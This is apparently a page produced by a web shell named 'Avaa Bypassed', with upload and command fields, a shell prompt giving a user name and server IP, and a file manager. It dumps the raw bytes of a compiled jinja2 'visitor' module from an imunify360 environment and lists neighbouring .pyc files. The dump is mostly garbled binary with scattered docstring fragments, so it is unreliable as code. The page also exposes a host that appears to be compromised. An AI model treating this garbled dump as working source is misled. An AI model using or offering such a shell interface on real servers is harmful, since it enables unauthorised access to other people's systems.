[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@3.17.156.154: ~ $
�

5�Dg���N�dZddlmZGd�de��ZGd�de��ZdS)zVAPI for traversing the AST nodes. Implemented by the compiler and
meta introspection.
�)�Nodec�$�eZdZdZd�Zd�Zd�ZdS)�NodeVisitoraWalks the abstract syntax tree and call visitor functions for every
    node found.  The visitor functions may return values which will be
    forwarded by the `visit` method.

    Per default the visitor functions for the nodes are ``'visit_'`` +
    class name of the node.  So a `TryFinally` node visit function would
    be `visit_TryFinally`.  This behavior can be changed by overriding
    the `get_visitor` function.  If no visitor function exists for a node
    (return value `None`) the `generic_visit` visitor is used instead.
    c�B�d|jjz}t||d��S)z�Return the visitor function for this node or `None` if no visitor
        exists for this node.  In that case the generic visit function is
        used instead.
        �visit_N)�	__class__�__name__�getattr)�self�node�methods   �n/builddir/build/BUILD/imunify360-venv-2.4.0/opt/imunify360/venv/lib/python3.11/site-packages/jinja2/visitor.py�get_visitorzNodeVisitor.get_visitors%��
�D�N�3�3���t�V�T�*�*�*�c�j�|�|��}|�||g|�Ri|��S|j|g|�Ri|��S)z
Visit a node.)r�
generic_visit)rr�args�kwargs�fs     r�visitzNodeVisitor.visits]�����T�"�"���=��1�T�+�D�+�+�+�F�+�+�+�!�t�!�$�8��8�8�8��8�8�8rc�V�|���D]}|j|g|�Ri|���dS)z9Called if no explicit visitor function exists for a node.N)�iter_child_nodesr)rrrrs    rrzNodeVisitor.generic_visit#sL���)�)�+�+�	.�	.�D��D�J�t�-�d�-�-�-�f�-�-�-�-�	.�	.rN)r	�
__module__�__qualname__�__doc__rrr�rrrrsK������	�	�+�+�+�9�9�9�.�.�.�.�.rrc��eZdZdZd�Zd�ZdS)�NodeTransformera�Walks the abstract syntax tree and allows modifications of nodes.

    The `NodeTransformer` will walk the AST and use the return value of the
    visitor functions to replace or remove the old node.  If the return
    value of the visitor function is `None` the node will be removed
    from the previous location otherwise it's replaced with the return
    value.  The return value may be the original node in which case no
    replacement takes place.
    c���|���D]�\}}t|t��rxg}|D]k}t|t��r?|j|g|�Ri|��}|��+t|t��s|�|���V|�|���l||dd�<��t|t��r5|j|g|�Ri|��}|�t||����t|||����|S)N)	�iter_fields�
isinstance�listrr�extend�append�delattr�setattr)	rrrr�field�	old_value�
new_values�value�new_nodes	         rrzNodeTransformer.generic_visit4s6�� $� 0� 0� 2� 2�	3�	3��E�9��)�T�*�*�
3��
�&�-�-�E�!�%��.�.�%� *��
�5� B�4� B� B� B�6� B� B�� �=�$�!+�E�4�!8�!8�%�&�-�-�e�4�4�4�$��%�%�e�,�,�,�,�)�	�!�!�!����I�t�,�,�
3�%�4�:�i�A�$�A�A�A�&�A�A���#��D�%�(�(�(�(��D�%��2�2�2���rc�X�|j|g|�Ri|��}t|t��s|g}|S)z{As transformers may return lists in some places this method
        can be used to enforce a list as return value.
        )rr!r")rrrr�rvs     r�
visit_listzNodeTransformer.visit_listJsC���T�Z��
.�t�
.�
.�
.�v�
.�
.���"�d�#�#�	���B��	rN)r	rrrrr.rrrrr)s<�����������,����rrN)r�nodesr�objectrrrrr�<module>r1s�����������.�.�.�.�.�&�.�.�.�B(�(�(�(�(�k�(�(�(�(�(r

Filemanager

Name Type Size Permission Actions
__init__.cpython-311.pyc File 2.38 KB 0644
_compat.cpython-311.pyc File 6.11 KB 0644
_identifier.cpython-311.pyc File 1.94 KB 0644
asyncfilters.cpython-311.pyc File 8.3 KB 0644
asyncsupport.cpython-311.pyc File 14.05 KB 0644
bccache.cpython-311.pyc File 17.3 KB 0644
compiler.cpython-311.pyc File 94.95 KB 0644
constants.cpython-311.pyc File 1.55 KB 0644
debug.cpython-311.pyc File 8.57 KB 0644
defaults.cpython-311.pyc File 1.33 KB 0644
environment.cpython-311.pyc File 59.93 KB 0644
exceptions.cpython-311.pyc File 8.29 KB 0644
ext.cpython-311.pyc File 33.73 KB 0644
filters.cpython-311.pyc File 53.57 KB 0644
idtracking.cpython-311.pyc File 16.06 KB 0644
lexer.cpython-311.pyc File 32.9 KB 0644
loaders.cpython-311.pyc File 24.33 KB 0644
meta.cpython-311.pyc File 5 KB 0644
nativetypes.cpython-311.pyc File 5.59 KB 0644
nodes.cpython-311.pyc File 52.61 KB 0644
optimizer.cpython-311.pyc File 2.34 KB 0644
parser.cpython-311.pyc File 52.05 KB 0644
runtime.cpython-311.pyc File 40.07 KB 0644
sandbox.cpython-311.pyc File 20.02 KB 0644
tests.cpython-311.pyc File 7.23 KB 0644
utils.cpython-311.pyc File 33.01 KB 0644
visitor.cpython-311.pyc File 4.5 KB 0644